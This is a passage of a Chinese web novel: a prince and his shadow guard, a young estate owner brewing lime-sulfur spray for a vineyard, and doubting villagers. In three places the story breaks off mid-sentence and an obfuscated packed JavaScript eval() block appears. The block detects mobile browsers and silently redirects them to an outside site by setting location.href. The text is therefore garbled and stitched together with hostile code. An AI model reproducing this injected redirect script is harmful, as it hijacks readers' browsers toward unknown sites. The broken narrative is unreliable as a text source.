什么东西在赵措心头轰然炸开，他的心倏忽一紧，猛回头，狠狠盯住乙的眼睛，声音沙哑得似带着炼狱的血腥。 “怎么，你看上了这九哥儿？” 这么多年，乙替自己办事，上至皇子王孙，下至三教九流，打交道的人不计其数。赵措从未听乙夸赞过什么人、说过一个人的“好”。 哪怕对自己，乙从未有过一二恭维之辞。 他一直以为乙性子内敛，根本不会表达偏好，更不懂得称赞。 他赵措错了。乙只出去几日，不过一个不入流的低贱伶伎，他竟敢当着自己的面说对方“好”，还是“极好”。 哼。很好。这就是自己养出来的人。 一念天堂，一念地狱。 心中裂缝彻底炸裂，万千罗刹围在耳旁嘶吼。 赵措怒发冲冠，他转了一个圈，抬起脚，狠狠踹向乙的下身。 这一脚来的凶猛。但作为顶级暗卫来讲，完全有能力躲过去。 但这一脚来自自己的主子。 还是那句话，雷霆雨露，皆是君恩。 乙没有后退半步，稳稳站在原地，承接着懿王的怒气和恩赐。 结实的力道，来势汹汹，没有任何回旋余地，更没有任何情分可言。下了死手。 乙是从死人堆里走出来的，原本自己就是个死人。一个活死人，能走到盛宠优渥的皇子面前，成为贴身暗卫，早不知削皮挫骨了多少回。区区这一脚又算什么。 比想象中更凶狠。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485558|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……” 乙眼前一黑，半步未退，站在原地，毫无保留地吃下这一脚力度。 一脚过后，赵措的气瞬时消了大半。 红烛晃动，赵措向对方脸上觑了眼。乙虽面不改色、神态自若，但额角渐渗渐多的细汗，终究出卖了他。 赵措眉心蹙了蹙。心头不觉软下去。方才那一脚，似乎太不近人情。 乙缓了缓心神，郑重跪下：“乙绝无私心，还请主子明察。” 赵措不似方才那般疾言厉色：“你要记住自己的身份。别以为本王给你个笑脸，你就真的以为自己是本王的人了。你不过西境罪臣之后，是本王为你雪耻，给你新生。记住，在本王面前，你永远是影子。微不足道的影子。” “是。” “说吧，你想求什么。想好了再说。机会，只有一次。” “无论将来骆家能为主子效力多久，留下这位九哥儿。此人之才华定能助力主子之事业。” “这就是你想说的？” “是。” “方才……你为什么不躲？” 赵拓陡然换了个话题，没有回应乙所求之事。 “……” “夜深了。”赵措亲自去吹了红烛，“今晚你留下。” 赵措疑心重，从不许外人留宿，哪怕懿王妃都不曾碰过西暖阁的床榻。 乙是唯一可以留宿之人。 但每一次留宿经历，在乙这里，都不堪回首。 他并非哥儿，懿王却霸王硬上弓。五年前的那一夜，是赵措第一次留下他。 第二次是懿王大婚。新婚夜，懿王妃独守空房，懿王自己只留乙在身边。 今晚，是第三次。 或许自己那一脚过重了，心中难得生出些许愧疚；或许今日这次体验仍让他意犹未尽；亦或许，只是想多了解一二这个伶伎，从乙口中。 院内无灯，房内无蜡，天上之月也被云层遮得了个严实。 没有亮光，便照不出黑红蓝白。无颜色之分，尊卑有别、恩怨荣辱的界限似乎也跟着打破了。 “那位九哥儿同样来自西境？” “是。”黑暗中的乙越发沉静，“就是当年西境寻来的那群幼子，他是寻来的第九个，得名九哥儿，后经规训成了伶伎中的佼佼者。” “可知底细？” “普通佃户，灾荒中家人病饿而死，只他尚留一口气。” 九哥儿从未向外说过自己身世，作为顶级暗卫，若锁定一人挖出他的过往，并非难事。 乙这方面能力，赵措从不怀疑。 “本王脚冷。” 暗夜中的第一个指令。 乙明白。他敛衣跪在榻边，解开衣襟，将那双踩在自己喉结上的脚，揽了进去。 冷。 一如这朽烂的日子。 同样朽烂的，还有自己这副皮囊。 乙看不清前路，或者说他只是影子，无所谓前路。 但现在不同了。这世间还有东西值得他争一争，还有人需要他去看护。 乙第一次向懿王做了隐瞒。 关于九哥儿的身世，关于他们在西境的过往。 只是这份过往太过久远，隔着风沙砾石，每每想起，这颗本就伤痕累累的心，便会被击打得更为支离破碎。 此时同样心神不宁的，还有夜宿茶室的九哥儿。 枕上辗转，长夜难眠。一小块西境独有的砾石，虚握在手中，锋利棱角轻轻割着指尖。 九哥儿好多年没见过这种砾石了。公子乙告辞后，这枚石子就放在雅间桌上。 九哥儿敢肯定，公子乙是西境故人，但究竟是哪位故人，他又实在记不得。 116. 术士 公子乙将随身带着的那枚砾石，放置于悦来茶坊雅间案几上留给九哥儿时，庄聿白已带着然哥儿回到各庄葡萄园。 葡萄移栽比想象中要快。54株葡萄树分成3垄，1列18棵，南北向阵列有序地站在阔朗的缓坡上。 薛启辰见二人全身全影回来，忙弯着眼睛迎上前：“琥珀，快看！从孟家村带来的葡萄已经全部栽好了。请庄公子查验！” “查验合格！嚼月轩的杏仁酥，奖励我们薛二公子！” 庄聿白将城中带回的一包果子打开递与薛启辰，其余几包请然哥儿分与园中众人。等一年苗施药后，再将新扦插的幼苗移栽至西侧紧邻的另一片缓坡上。 新叶娇嫩，耐不住石硫合剂副作用，会出现烧叶现象。这也是庄聿白为何急着要在一年苗展叶前喷施药剂。 作为薛家二少爷，自是各类果品细糕吃腻了的，今日却觉这杏仁酥犹为好吃。庄聿白与他玩笑：“二公子，药剂熬制马上开始了，你吃了我们的果子，等会干活时可不许偷懒。” “悉听遵命！”薛启辰拱手向庄聿白做了保证，又接过小厮递来的帕子擦了擦手，“琥珀，我今日可没穿什么柔黄粉绿的衫子，但这园中的小飞虫还是不断来扰，真是缠人！” “天气回暖的快，虫蚁来得也快些。”庄聿白抬手驱走一只落在他肩头的黑点，“事不宜迟，今日药剂制出，明天就可以开始喷施驱虫了。” 任何化学实验都存在风险，操作安全是重中之重。 反应过程中会产生微量的硫化氢，不仅气味难闻，对身体也不好。庄聿白将石硫合剂的制作安排在坡前通风的空地上。并让管庄人负责清场，保证百步之内不许有人围观。 其实庄聿白筹集硫磺开始，各种流言便在各庄传了起来。不时有人跑去管庄人周老汉那里打听，这新主家会不会是个得道高人。 “小小年纪一身本事。不仅会制作茶炭，还研究出这金玉满堂，府城盛极一时的火锅，也是他想出来的主意。真真了不得。” “大公子和少夫人这般信任他，才将我们这庄子整个托付给他，也算是我们的造化了。庄上人谁家没受过这几项营生的益处。” “是呢，我家孩儿他爹在葡萄园当值，这几日工钱就有大几百钱了。就算一个整劳力去城中找活计，一个月也就能带回家这些钱吧。都是托了庄公子的福。” “眼下又用硫磺做药剂，我听我爷爷说，这都是一些深山术士才会的法术。和太上老君的炼丹炉是一个道理。” “提到太上老君，那我就懂了。大公子和二公子的长相已经算人中龙凤，谁知这庄公子和他的夫君更是一副神仙模样。人生得如此齐整，又会术法，八成是个得道菩萨降世。” 众人议论纷纷，对聚合众力推断出的这个结论深信不疑。 知道今日庄聿白会动用法术熬制药剂，庄上人呢自然都是要瞧一瞧的。太上老君炼丹，此生是无缘看见了。主家的法术施展，谁会拒绝。 所以等庄聿白一行来至试验场地时，里三层外三层早站满了看热闹的人。 庄聿白请管庄人清场，可周老汉好说歹说了大半日，嘴皮子说破也没人听他的，不仅没人离场，往前围聚得更紧了些，甚至为了抢一个最佳观景点，不少人竟然开始主动竞选烧火人一职。 看来好言相劝是劝不动的了。 庄聿白选择用魔法打败魔法。 “这硫磺驱虫的方子，是我一个远房表叔教我的。据他说，当年一个得道树仙托梦给他的师父，说治理虫害最是好用，他师父醒来一试当真是灵，便将这方子留了下来。虽说方子中用到的硫磺原本也可驱虫避蚁，若想药效最佳，还需用些神力……” “神力？是何神力！” 庄聿白说到得道树仙时，人群中“哇”声一片，各个眼神都亮起来。提到神力，众人终于忍不住了，竟有些要沸腾之势。 庄聿白双手下压示意众人安静：“这神力么，就是抓些邪魔妖道过来，祭神入药。” “怎么抓？”就像听鬼故事一样，提问人的声音既害怕又莫名兴奋。 庄聿白指指一旁的锅灶：“炼妖台已经搭好了。稍后我会歃血念咒，将各方邪魔引来，再用我表叔教我的秘诀施法炼妖。” 围观众人一听眼前这锅灶竟然是用来炼妖祭神的，不觉向后退去。 庄聿白见奏了效，装模作样长叹口气。 “庄某毕竟还年轻，法力远不及我表叔。若引魔炼妖过程中这妖魔邪祟不小心跑了一两只，自己一人恐怕也难全部降服得住。所以才不许人围观。若诸位有能降妖除魔的，留在此处帮我一帮，也不是不可以。” 庄聿白说完，胆小的便陆陆续续走了。仍有些胆大不信的，周老汉便连哄带骗，说若再不走，误了炭窑上和金玉满堂的生意，是要扣钱的。 好不容易将场地清空，庄聿白看着一旁面不改色、只一味认真整理所用物件的然哥儿道：“方才我说熬药时会抓邪魔祭神，你不怕么？” “不怕。有公子在，我自然什么都不怕。然哥儿信公子。” 庄聿白笑着拍拍他的肩：“我哄他们的。炼制过程会产生难闻气体，对身体不好。帷帽和护口鼻的巾帕一定要全程戴好。” 生石灰具有腐蚀性，操作时最好戴塑胶手套。当然此时找不到塑胶，庄聿白便请人在麻布缝制的简易手套外面又固定了一圈防水桐油纸。此人便是然哥儿。 然哥儿针线虽比不得城中绣娘，但日常裁衣缝补等还是不在话下。 “这针线真不错，差不多能和粟哥儿比上一比了。”庄聿白将手套为薛启辰戴好，又递了双给然哥儿。 几人将简易试验装备穿戴整齐，庄聿白将所用原材料清点一遍。 大铁锅两口已经架在灶上，旁边摆着两大桶山泉水。干柴、木铲、搅拌木棒、过滤纱布、陶瓶等也已齐备。 石硫合剂所需原料简单，生石灰、硫磺粉、水重量比为1:2:10。庄聿白先取出5斤硫磺，搭配2.5斤生石灰熬制。完成两处葡萄园的第一次施药，后续所需改日再制也来得及。 薛启辰在旁同然哥儿解释：“粟哥儿是孟家村炭窑上的账房先生。” “哥儿也能做账房先生？”然哥儿按指示将25斤水倒入其中一口锅。 “当然能做！这粟哥儿原本是货郎家的小夫郎，不仅针线好，还能识字算数，且非常有上进心，虽刚生了娃娃，还是一门心思跟着你家庄公子看账记账。我们前些时去孟家村时，他差不多能独当一面了。” 然哥儿正在灶下生火，听薛启辰如此说，也忘了手中火折子，待烧疼了手才意识到走神，忙低头不好意思笑笑。 薛启辰帮着将木柴往然哥儿近旁挪了挪：“你知道你家公子还有什么身份么？” “各庄家主？”然哥儿加了把柴，此时需大火将锅中山泉加热。火舌舔舐锅底，灶中木材哔啵作响。 “孟氏家族九位上首之一！”薛启辰回头看了眼在灶上忙活的庄聿白，又颇为自豪地说下去。 “在他夫君孟秀才族中，他的地位可比他老公高得多。你家‘庄’公子作为‘孟’氏家族的上首，不仅可以提议开族会、族中大事小情都要经手管理，哪怕现在他们族中有什么重要决策，都会派人大老远过来问问他的意见。还有哦，族中议事时，他坐在上位指点江山，威风凛凛，而他老公梦秀才却只能远远站在人群中听他指挥。琥珀，你说对吧？” “我哪有指点江山，威风凛凛。二公子再说下去，就要把我夸成战场上的常胜将军了。” 庄聿白仔细看着锅中水势。 大火烹煮，水温很快上来，不多时水底生出小而细，团而圆，状似螃蟹眼的小水泡，且越聚越多。 庄聿白让然哥儿改小火，使水保持处于蟹眼汤的微沸状态。自己则将2.5斤生石灰慢慢加入锅中，并用木棍搅拌混匀。 微沸慢煮三四分钟后，生石灰水呈现出一种沸煮牛奶的乳液状态。待汤面有一种类似奶皮物质析出时，便可以加硫磺粉了。 “马上会产生难闻气体，检查下口罩和帷帽。” 庄聿白提醒灶前两位，随后将一旁的硫磺粉袋打开，少量多次加入汤中，边加边搅拌。硫磺粉全部融入后，汤中树立一根木棍，记录初始液面高度，以待后续补水。 “琥珀，这味道，像是鸡蛋臭掉了！”虽全副武装，薛启辰仍捂着鼻子，嫌弃地不停后退。 “说明坏掉的臭鸡蛋也有同类物质。” 庄聿白笑着将薛启辰引到上风口处，三人一起观察着锅中汤液的反应变化。 加入硫磺3分钟左右，锅内液体呈现明亮的黄色。5分钟时颜色开始转橙，如新鲜蛋黄色，混合物中已经出现棕红色物质，说明化学反应在顺利进行。锅中继续保持微沸状态下，8分钟左右，液汤整体变成棕红色。 此时，庄聿白将木质锅盖半盖住，减少水份蒸发，继续保持小火微沸状态烹煮。 几人接回方才话题。 “粟哥儿自己有心，且上进好学，账房先生的位置是他自己努力所得。谋事在人，成事也在人，哪里分男子还是女子。再比如少夫人，虽是女子，其经商理家之才能，莫说二公子家上下，恐怕整个府城也没有不称赞的。” “是呢，我家长嫂自是没的说。我身上这些铺面经营的本事都是我长嫂教的！”提起长嫂苏晗，薛启辰笑弯了眼睛，“往远了说，长公主在西境屡立战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491621|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功，多少武将难能望其项背。不过说到西境，不知道云无择怎么样了。云先生寄给他的那坛葡萄酒，也不知道收没收到。” “已经酿制出了葡萄酒？”然哥儿声调明显高了，只是帷帽遮着，看不清表情。 “去岁云先生父子亲手酿的。”庄聿白称带回一坛，“等今年秋季两个园中葡萄都成熟了，会有更多葡萄酒酿出来。” “那然哥儿能做些什么？”然哥儿低头想了想，终于开口自荐。 庄聿白和薛启辰都笑了。 “然哥儿能做的可太多了。现在我们在制药，喷洒后过个三五天便需将暖房中的扦插苗移栽出来。除了日常施肥灌水外，之后还要立架理藤，修枝控旺，花期管理……葡萄成熟前园中恐怕都离不开人。再之后，就是葡萄酿制了。” 庄聿白起身检查下锅中汤液情况，颜色越发深了。 “除了葡萄园我还有炭窑、金玉满堂等事情要做。然哥儿先全程跟我过一遍，之后这篇葡萄园慢慢交到你手上打理了。” “如此甚好！”薛启辰拍手称赞，“然哥儿本就擅长这些，也喜欢做。这样安排甚好。” 然哥儿紧张得站起身：“公子们有事情吩咐，然哥儿定会做好。可管理整个园子，然哥儿没做过，误了公子的事就不好了。” 薛启辰笑着宽慰他：“放心啦！这不还有你家庄公子的么！我也会随叫随到，怎么会有事！” 又对庄聿白说：“这么重的担子甩给我们然哥儿，不涨薪水，我可不依。” “有你薛二公子撑腰，还怕我欺负了然哥儿不成！” 锅内棕红色更深，庄聿白估摸着时间，根据方才用木棍记录的初始液面高度，补了些开水进去。 添火煮沸，又过了十分钟熄火。 庄聿白看看天色，夕阳歪斜，暮色上来：“汤液就在此静置一夜，明早我们再来过滤分装。” 三人正收拾清场，遥遥一辆马车从霞辉尽染的晚林中驶来。 孟知彰今日下学早，特意来庄上接人，下车先递了一水囊甜汤过来，让庄聿白润润喉，又说知道这几日庄上忙，他同先生告了两天假。 “有人记挂，有人疼就是好呀！”薛启辰冲着庄聿白挤眉弄眼。 庄聿白怼了下对方胳膊：“启辰兄，你又开始了！” * 然哥儿到家时，卓阿叔正热好饭食等他回来。 “阿叔，跟您说过多少遍了，不用等我用饭。园中事情多，忙起来没个时间的。” 卓阿叔没吭声，慌慌张张迎过来，扯着然哥儿上上下下打量。 “怎么了阿叔？”然哥儿放下东西，又去洗了洗手。 卓阿叔见他全胳膊全腿的，稍稍放下心来，半日说道：“这葡萄园之事，你还是不要去做了。咱爷俩种这几亩地，外加一些果蔬等物，至少两个人嚼用是够了的。” 然哥儿不解，再三询问，卓阿叔方开口：“外面可都传开了，说这田药是得到神仙托梦得来的，还要捉妖祭神。” 然哥儿明白过来，笑着扶阿叔坐下，又递了碗筷，解释说：“公子哄他们的。场地有限又围了那么多人，万一磕着碰着就不好了。可大家又都好奇，怎么劝也劝不走。公子这才编了个谎话。” 卓阿叔将信将疑，不过他最知道然哥儿的，这孩子心实，绝不会诓骗他：“是了，虽说敬鬼神，可驱虫哪里能用法术。” 阿叔往然哥儿夹了几筷子菜，“多吃些，这几日都瘦了。”想想又开了口，“然儿，园中事若实在累，咱不做了吧。阿叔虽说没啥本事，这些年银钱也攒了几十两，等你寻个好人家……” “阿叔，”然哥儿忙撒娇似地打断，“园中就是忙点，不累的。还有啊，您老别动不动给我寻人家，我这辈子” 他没将庄聿白计划让他管理葡萄园之事说与卓阿叔。一则自己眼下能力实在有限，恐难当重任；二则阿叔年纪大了，他不想让阿叔跟着劳力操心。 不过作为长辈，卓阿叔哪能不操心：“我看庄公子年纪轻轻，不像个能在田地里劳作的模样。他那个制田药的方子，能行吗？” “能行。明日就施药，您来若得闲也来园中看看。” 然哥儿虽也未见成效，但他就是相信庄聿白。 不过庄子上和卓阿叔一样持怀疑态度的人不在少数。 硫磺确实能驱除虫蚁，但将硫磺熬煮喷洒，就有久病乱投医之嫌。这些时日飞虫是多起来，比往年来得还早还密，但若因此乱了手脚，大抵还是这位新庄主太年轻了。 知道第二日施药，天蒙蒙亮，葡萄园中便挤满了围观之人。 倒不是庄子上的人坏，而是看上位者跌跟头，大抵也算是一种隐秘的乐趣。 117. 第 117 章 晨光尚暗时，夫夫二人便驱车赶到庄子上。 静置了一夜的药剂，经过沉淀澄清，汤液分层明显，颜色也更为明亮，此前偏暗的铜红色变成近石榴红。 听从庄聿白指挥，孟知彰用细纱布慢慢过滤后，灌入窄口瓷瓶，十斤水剂足足得了5大瓶。 庄聿白用皮质水囊设计了简易的喷洒工具。当前溶剂浓度约为29波美度，他用水稀释到3至4波美度，让孟知彰逐棵进行喷洒。 东方慢慢泛起鱼肚白，淡粉的稀释液通过莲蓬口洒上萌芽在即的葡萄藤时，葡萄园外，零零散散的身影已经陆陆续续围了上来。 土地里谋食之人，自然知道春季防虫的重要和不易。昨日庄主说捉妖祭神来煎药，有人想了一夜。 “若这祭神的符水真能灭虫，管他是捉妖还是降魔得来的，我也想试一试。” “你想试试？江湖术士的方子，有几个能是真的！骗人银子的伎俩罢了。我反正不信。” “我和你一个想法。不过这东西只用在葡萄园，想骗也骗不到我们头上。庄主想折腾就随他吧。” “但愿如此。庄主打着灭虫的名义大张旗鼓搞来硫磺，又弄了那样神神秘秘的一个炼制台，不会是要施展妖术吧。”有人胆小，心里揣着鬼，“无利不起早，又是炭窑又是金玉满堂的，给了咱们那么多好处，难不成……到最后是想把咱们炼成丹药？” “我看你是话本子听多了。就你这二两骨头能炼成啥？快别瞎想了。窑上和庄子上这么多活计要做，把你我都炼了谁来做工？不过我看这灭虫的方子，卓阿叔那几位种田老把式也不是很看好。” 园外人群越聚越多。 偶尔飘过来只言片语，庄聿白只听听倒没有说什么。他将其中三瓶药剂和一封详细的使用说明交给管庄人周老汉，又拿了一串钱，让他派个稳妥之人送去孟家村。 孟知彰手上利落，第一缕晨辉洒上他坚实臂膀时，所有用到的物件设备等已清洗完毕并妥当收了起来。 清早湿气重，飞虫一般并不活跃。此时倒看不出药效。 然哥儿扶着卓阿叔也来了。阿叔一夜没睡好，主要是担心自家孩子被人哄骗了。 他随手翻开路旁的树叶，眉头不觉锁紧。带翅蚜虫已经聚集，比往年还要早。阳光一打，不消半个时辰便开始到处飞蹿了。 待至园中，卓阿叔边走边看，并未见飞虫踪影。可以理解，因为葡萄藤尚未发芽，刚喷淋过药剂的藤蔓尚湿漉漉的。即便有飞虫，此时也湿了翅膀，飞不起来。 卓阿叔和然哥儿向夫夫二人请了安，几人寒暄几句，庄聿白看出阿叔心思，将只剩了一个底的药剂递上。 “阿叔看看这药剂，硫磺煎制的，只加了生石灰与水。” 意思是配料简单，绝对安全。为增强可信度，庄聿白又指指身旁的孟知彰，“今日劳……劳我家相公忙了这小半日，将整个园子喷淋一遍。” 说着庄聿白看了孟知彰一眼，示意他展示下自己强健的肌肉和体魄，证明这药不仅无毒无害，更不会被妖魔摄了魂魄。 谁知这孟知彰倒好，杵在那里不动。庄聿白心中翻个白眼，不得不又清楚、明白地再次喊了声“相公”，对方的“失聪症”才瞬间好转。 为方便做活，孟知彰今日脱去长衫，和庄聿白一样换了身短褐。袖子齐整挽着，紧紧箍住小臂。他接过自家夫郎递来的巾帕，擦擦额间汗珠，慢条斯理擦过后，又将巾帕递了回去。 “阿叔，硫磺素来是入方良药。”孟知彰将瓶塞打开，请卓阿叔看了看药剂。 “《肘后方》有载，以牛乳煎硫磺，可治风毒脚弱，痹满上气等；《太平圣惠方》中所记硫黄煎，以硫黄、麝香、雄黄等慢火煎如稀饧，外敷，用以治疗口疮久不愈，疼痛不可忍。硫磺入药可救人治病，硫磺入药也可以医树妨害。” 孟知彰看向庄聿白，脚下不觉走近半步，与他家夫郎并肩而立，“今日我家夫郎用这硫磺与生石灰煎制的药方，用于果树菜蔬等的虫害防治。与此前新型肥田术一样，皆乃惠民利本之举。” 到底是学富五车的学霸，夸人还要引经据典，庄聿白暗竖大拇指，心中大喜，面上倒一副云淡风轻模样。自家相公向来如此。 但对卓阿叔而言，不管孟知彰还是庄聿白都是种田的生瓜蛋子。 孟知彰好歹是功名在身的秀才，秀才相公摆出了先贤们的典籍房子，他多少还是信了几分，至少不排斥这炼制的什么药剂。不过与人治病和与树治虫还是隔着什么。好与不好也不是嘴上说说就能算的。 卓阿叔将手中药剂瓶子瞧了又瞧，到底瞧不出个所以然。他种了大半辈子田，他相信经验，相信泥土里长出来的活生生的成果，而不是书本上那遥远字块写就的道理。 太阳出来了，照得人心里也跟着亮堂起来。葡萄藤蔓上的昨夜湿气与今朝药剂随着阳光流转，开始慢慢蒸发，已从枝蔓顶端开始转干。 葡萄树都是新移栽的，庄聿白请卓阿叔一起到园中看看。 几人在葡萄树垄间慢慢行走，检查植株的定植状态、水肥情况等。 走了半日，卓阿叔脚上不便，但做事老道，回头，眼前一幕惊得他一时眼睛不知该往哪放。 作为一家之主的孟知彰却将行走主位让给庄聿白，自己错半个身子跟在他家夫郎身边，像一位强大又忠实的卫士。更夸张的是，因为此时迎着光，孟知彰恐阳光直直照进庄聿白眼睛，亲手举着一把折扇帮人当着。 卓阿叔微微怔了下，半日方察觉失礼，忙乱乱将视线移开，说了几句这葡萄移栽状况不错的话，最后将视线放在自家孩子身上。 自己从小带在身边的孩子，竟不知何时悄悄长大了。 若是然哥儿也能找个这样真心待他的夫君，他老头子这辈子也便没什么可求的了。 “我听让哥儿说，今年这葡萄成熟后会全部酿成酒？” 卓阿叔看了看这片葡萄园，估量着夏秋两季的收成。他虽没栽种过葡萄树，但早年跟着商队往返西境，葡萄树还是见过的。 庄聿白点头：“预计盛夏开始便能陆续成熟。到时候会分批次采摘，直接酿入陶罐。等进到腊月里，第一批入罐的葡萄酒就能品饮了。若时间规划得合适，过年时，府城不少人家的年夜饭桌上便会出现咱们园中产的这葡萄酒。” “这么快就能成？”卓阿叔有些诧异。 “是。”云先生家老藤葡萄酿制的这罐葡萄酒，给了庄聿白十足信心，“葡萄酒属果酒，与我们素日熟悉的粮食酒不同，酿制时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15503260|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短，而且并不是越陈越好。第二年葡萄采摘前，前一年酿制的酒便需全部售出将酒罐腾出。” “今年还是这移栽来的54棵挂果，等明年，新扦插的78株一起成熟时，园中的热闹景象可想而知。”说到采摘庄聿白眼睛咕噜一转，采摘也是一门好生意！ 若葡萄集中成熟，庄子上赶上农忙人手腾挪不开的话，不如向外开放，邀请优质客人进园中葡萄采摘。一则节省人力，二则采摘项目不仅不给钱还可以酌情收取入园费用。虽不指望着这一项赚钱，给园中劳作了一季的果农们发发福利还是够的。 既然开放了葡萄采摘。若可以，葡萄酒制作环节的压榨、入罐、淘澄等环节，也可以加入体验项目。 庄聿白看了眼孟知彰，现成的人脉不用白不用。他连第一批拟邀客人都想好了，三省书院师生。南先生是个老饕，若说坐在葡萄架下边推杯换盏这等雅事，想来他是愿意的。 既然南先生来了，山长也一起请来。有这两位坐镇，孟知彰学的中其他同窗自然跟风也要来。有三省书院的学子捧场，后续府城其他学院的学子们自然也会争着要来。学子们趋之若鹜的地方，那社会各界名流岂能甘拜下风，当然也要体验一二。 如此一来，一传十、十传百，东盛府第一个网红打卡基地亮闪闪就出现在世人面前！ 而且这等网红行为，不仅将葡萄园的名声传了出去，等葡萄酒酿制出来，前期宣发也省了。估计酒还没酿好，就已经全部订购一空。 晨风迎面，庄聿白心中大爽，两颗小虎牙在阳光下晕出珍珠光芒。 “怎么了？” 孟知彰一本正经看着咧嘴傻笑的庄聿白。 “没什么，就是高兴。”庄聿白眉眼弯弯，脚步轻快起来，“阿叔，葡萄园事情多，今后想请然哥儿在园子里多帮帮忙，您老人家看可以么？” 庄聿白打算直接要人。 昨日同然哥儿提及此事，只是单方面问他个人意愿，能看出然哥儿是愿意的。自己今日当面向长辈正式一提，便是要将此事定下来。 “工钱，自是不会少的，甚至比炭窑上的老师傅还要多。”庄聿白忙又补充了一句。 庄聿白没想到的是，卓阿叔竟然直接拒绝了，没有一丝犹豫。 “阿叔！”然哥儿忙扯卓阿叔的袖子，“我可以的。” 卓阿叔打断然哥儿，拱手向夫夫二人道歉。 “庄主提出让然儿帮忙，是赏识抬举我们。原应什么都不说，立马磕头谢恩才是。可然儿自小身子就不好，实在不能过多劳累。虽说我们家没什么钱，但我这把老骨头还能再劳作几年，给然儿多留几文钱。然儿今后的日子还长，若累坏了身子，攒下什么病，将来的日子可怎么过。” 看卓阿叔的态度，像是认定了死理，当下劝是劝不回来的。庄聿白同然哥儿使个眼色，示意他莫急。 “阿叔爱子心切，我们明白。”庄聿白决定用缓兵之计，“暖房中的葡萄苗，是然哥儿一手照看到现在的。这批苗子下地之前，然哥儿还是再辛苦些吧。” 不过卓阿叔像是没听到庄聿白在同他讲话。他先是看看已升至三尺高的太阳，又在空中寻着什么。 不应该啊。都这个时间了，今天怎么一只飞虫也没有。 118. 众议 暖阳当空，微风带出春日枝芽的清新和清甜，也到了虫蚁活跃的时间。 葡萄园中待了半日的卓阿叔，总觉得少了些什么，他扬手遮住眼睛复又看了看日头。忽然意识到是哪里不对。 这个辰光，别处还好，草木丛生的园子里不可能一只飞虫也看不见的。难道一夜之间各庄上下的虫蚁全部睡迟了？ 卓阿叔觉得奇怪，他同庄主夫夫告辞，脚步加快，走出葡萄园。 他栽种的菘菜和新韭已有半尺高，近日用草木灰满洒驱虫。虽拦住大半，但还是架不住虫蚁们不时侵扰。昨日又烧了不少草木灰，正打算今日补撒进园中。 若是葡萄园没有飞虫，是不是自家园中也清净了？卓阿叔急于确认情况，出了葡萄园径直往家中走去。 园外三五成群的乡民聚在一起，见卓阿叔形色匆匆，忙问：“阿叔，可是出了什么事？” 卓阿叔抬手打招呼，脚步却并未停，“无事，回家看看园子。”走了几步又折回来，问那几人，“你们来时，可见飞虫？” “飞虫？有啊！刚我路过山坡下的那几株桃树还说呢，今日这飞虫怎么比昨日还多？呼呼往我脸上撞。” “当真？”卓阿叔难掩惊诧。 “骗您老做什么？前日您老不还让我阿爹多准备些草木灰用在田中么？说今年暖春，虫蚁将是个大麻烦。” 此话提醒了众人，有人也发现异样：“方才来时确实已经有飞虫？怎么这会子我一只也没看见。” “刚我是在山下看到的飞虫，这里又不是山下，怎么会……”那人话说了一半，剩下的硬生生吞了回去，惊讶地四处张望，“对啊，就隔着这半里路，怎么飞虫就飞不过来呢？” 众人终于将目光转向晨光下水汽散去、树藤微干的葡萄树时，卓阿叔由然哥儿搀着已经到了自家园中。 回来路上，乱虫迷人眼。卓阿叔挡在面前的手几乎没停下来过。他心中已经不抱什么希望。 果不其然，菜园中飞虫比昨日还多些。只是有草木灰遮着，飞虫大多在上空围聚盘旋。 卓阿叔将备好的草木灰扬在菜叶上。这算是目前最有效的治虫方案。这法子对叶菜尚可，院子里的那几棵果树就失了效。 叶菜叶片大可以承接住草木灰。果木枝干稀疏且离地高，风一吹，草木灰跟本立不住，防虫的功能也就几乎为零。所以即便卓阿叔这种果蔬种植老把式，等果子成熟时，园中所产桃李等至少有三成是带虫眼的。 然哥儿学着阿叔将的手法将草木灰悉数又洒了一层。爷俩看着园中灰蒙蒙的一片，以及不时来扰人的小虫，全程没说一句话。 然哥儿端来一盆水请阿叔净手。 卓阿叔将巾帕递还给然哥儿。一只不识趣的飞虫，正悬停在半空打算往然哥儿鬓边落。阿叔抬手将冲驱赶走了。 一双饱经风霜的眼睛，垂了下去，怔怔想了想，似乎在斟酌一个极难的问题，半日终于开了口。 “然儿，庄主这治虫病的方子，大抵是有用的吧。”问题表面是问然哥儿的，更像是自言自语。 答案，爷俩都心知肚明。 尤其是然哥儿，他一心想跟着庄聿白做葡萄园，此时却不好明着偏袒对方，毕竟方才阿叔当面拒绝了此事，若此时自己一味说庄主的好，难免会适得其反。 “今早刚将药喷洒在园中，会这么快就见效么？”然哥儿提出自己的疑问，“不过至少今日葡萄园中确实没见到飞虫。或许是山上葡萄园是新开出来的，飞虫还没发现。” 卓阿叔抬头看看天，眼底有股说不出的情绪。 